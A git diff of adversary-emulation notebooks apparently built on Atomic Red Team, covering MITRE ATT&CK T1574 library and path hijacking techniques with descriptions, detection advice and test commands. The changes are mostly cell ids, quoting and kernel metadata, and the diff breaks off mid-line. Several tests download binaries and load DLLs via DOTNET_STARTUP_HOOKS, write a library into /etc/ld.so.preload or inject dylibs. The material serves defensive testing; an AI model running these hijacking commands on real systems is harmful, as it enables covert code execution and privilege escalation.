a/playbook/tactics/defense-evasion/T1574.001.ipynb b/playbook/tactics/defense-evasion/T1574.001.ipynb index 01ab3cd7..e738f1b8 100644 --- a/playbook/tactics/defense-evasion/T1574.001.ipynb +++ b/playbook/tactics/defense-evasion/T1574.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bbb97690", + "id": "72e9129b", "metadata": {}, "source": "# T1574.001 - DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." }, { "cell_type": "markdown", - "id": "2af69627", + "id": "18958348", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "04bc87b3", + "id": "4a64688e", "metadata": {}, "source": [ "### Atomic Test #1 - DLL Search Order Hijacking - amsi.dll", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "91e41981", + "id": "97da9aa2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4d5b44fa", + "id": "810cc614", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "99f65abf", + "id": "48fe7186", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "086edf82", + "id": "376e8831", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.002.ipynb b/playbook/tactics/defense-evasion/T1574.002.ipynb index 0875825e..93b12038 100644 --- a/playbook/tactics/defense-evasion/T1574.002.ipynb +++ b/playbook/tactics/defense-evasion/T1574.002.ipynb @@ -2,109 +2,109 @@ "cells": [ { "cell_type": "markdown", - "id": "a65508ce", + "id": "a696ffdd", "metadata": {}, "source": "# T1574.002 - DLL Side-Loading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)" }, { "cell_type": "markdown", - "id": "f6eadba9", + "id": "2ac2fb4a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8bd71447", + "id": "35020ef5", "metadata": {}, - "source": "### Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary\nGUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Gup.exe binary must exist on disk at specified location (#{gup_executable})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n\n```" + "source": "### Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary\nGUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Gup.exe binary must exist on disk at specified location (#{gup_executable})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "21071d46", + "id": "380471b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "68763796", + "id": "dc958891", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "540657e4", + "id": "c9938452", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "315084ce", + "id": "7c7bb82b", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /F /IM calculator.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "377df776", + "id": "faef1e21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a6e5a75a", + "id": "f4223b99", "metadata": {}, "source": "### Atomic Test #2 - DLL Side-Loading using the dotnet startup hook environment variable\nUtilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: .Net SDK must be installed\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nwinget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n\n```\n##### Description: preloader must exist\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b32699c", + "id": "93607bea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d02b7d07", + "id": "c174abcb", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nset DOTNET_STARTUP_HOOKS=PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\ndotnet -h > nul\necho.\n```" + "```command_prompt\nset DOTNET_STARTUP_HOOKS=\"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\"\ndotnet -h > nul\necho.\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "819e43b9", + "id": "491c18a8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d10beeaf", + "id": "4fc8ba2c", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /F /IM calculator.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d218f60e", + "id": "e59aae12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "1e8ffff4", + "id": "351f902b", "metadata": {}, "source": "## Detection\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.004.ipynb b/playbook/tactics/defense-evasion/T1574.004.ipynb index 6a7e19c8..5c423881 100644 --- a/playbook/tactics/defense-evasion/T1574.004.ipynb +++ b/playbook/tactics/defense-evasion/T1574.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6f7e2b43", + "id": "8f0b8aa6", "metadata": {}, "source": "# T1574.004 - Dylib Hijacking\nAdversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)" }, { "cell_type": "markdown", - "id": "77fdb506", + "id": "237f695b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "86eb46dd", + "id": "6ce375f7", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.005.ipynb b/playbook/tactics/defense-evasion/T1574.005.ipynb index 724c4038..ad9dd5e0 100644 --- a/playbook/tactics/defense-evasion/T1574.005.ipynb +++ b/playbook/tactics/defense-evasion/T1574.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "faca6a01", + "id": "ec893856", "metadata": {}, "source": "# T1574.005 - Executable Installer File Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence." }, { "cell_type": "markdown", - "id": "e8f0d5e5", + "id": "49608bf7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "acf3a8b7", + "id": "edf3a846", "metadata": {}, "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.006.ipynb b/playbook/tactics/defense-evasion/T1574.006.ipynb index a37e9bb3..ee21c398 100644 --- a/playbook/tactics/defense-evasion/T1574.006.ipynb +++ b/playbook/tactics/defense-evasion/T1574.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "26000cc2", + "id": "2829a8bb", "metadata": {}, "source": "# T1574.006 - Dynamic Linker Hijacking\nAdversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) " }, { "cell_type": "markdown", - "id": "c070544c", + "id": "e840595c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "95bc0be6", + "id": "e3f6e953", "metadata": {}, "source": "### Atomic Test #1 - Shared Library Injection via /etc/ld.so.preload\nThis test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_to_shared_library})\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1574006.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -shared -fPIC -o /tmp/T1574006.so PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aff2cf60", + "id": "6b8aba5d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0d933eaf", + "id": "2db4127b", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "4a0241b9", + "id": "2e32f656", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1c0058da", + "id": "54d3ff12", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo sed -i 's#/tmp/T1574006.so##' /etc/ld.so.preload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "10322475", + "id": "4a4fddb0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "377ebca4", + "id": "3661d18c", "metadata": {}, "source": "### Atomic Test #2 - Shared Library Injection via LD_PRELOAD\nThis test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_to_shared_library})\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1574006.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -shared -fPIC -o /tmp/T1574006.so PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4b065966", + "id": "c5c132b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "96a4cad1", + "id": "e2f63c0f", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ac5fbd39", + "id": "74477e09", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "acc14581", + "id": "b377629b", "metadata": {}, "source": "### Atomic Test #3 - Dylib Injection via DYLD_INSERT_LIBRARIES\ninjects a dylib that opens calculator via env variable\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Compile the dylib from (#{source_file}). Destination is #{dylib_file}\n\n##### Check Prereq Commands:\n```bash\ngcc -dynamiclib PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c -o /tmp/T1574006MOS.dylib\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -dynamiclib PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c -o /tmp/T1574006MOS.dylib\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "12b17446", + "id": "9a211301", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "40bac4ba", + "id": "c967ffe8", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1045d860", + "id": "ed50988b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "02513a15", + "id": "4da0f686", "metadata": {}, "source": "#### Cleanup: \n```bash\nkill `pgrep Calculator`\nkill `pgrep firefox`\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f02f5234", + "id": "13b5b74e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "bdb51501", + "id": "41576e20", "metadata": {}, "source": "## Detection\nMonitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." } @@ -143,13 +143,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.007.ipynb b/playbook/tactics/defense-evasion/T1574.007.ipynb index 3cfc57b9..cf87077a 100644 --- a/playbook/tactics/defense-evasion/T1574.007.ipynb +++ b/playbook/tactics/defense-evasion/T1574.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c986e62a", + "id": "0d937d30", "metadata": {}, - "source": "# T1574.007 - Path Interception by PATH Environment Variable\nAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line." + "source": "# T1574.007 - Path Interception by PATH Environment Variable\nAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)" }, { "cell_type": "markdown", - "id": "13411435", + "id": "e78841c2", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0e6c4ed8", + "id": "6983eeef", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.008.ipynb b/playbook/tactics/defense-evasion/T1574.008.ipynb index 4d9f3934..8113821d 100644 --- a/playbook/tactics/defense-evasion/T1574.008.ipynb +++ b/playbook/tactics/defense-evasion/T1574.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5a569a31", + "id": "19a39179", "metadata": {}, "source": "# T1574.008 - Path Interception by Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001)." }, { "cell_type": "markdown", - "id": "30746d76", + "id": "f92c93d7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7f2b329f", + "id": "422fda35", "metadata": {}, "source": [ "### Atomic Test #1 - powerShell Persistence via hijacking default modules - Get-Variable.exe", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "41774b0b", + "id": "0602409e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest 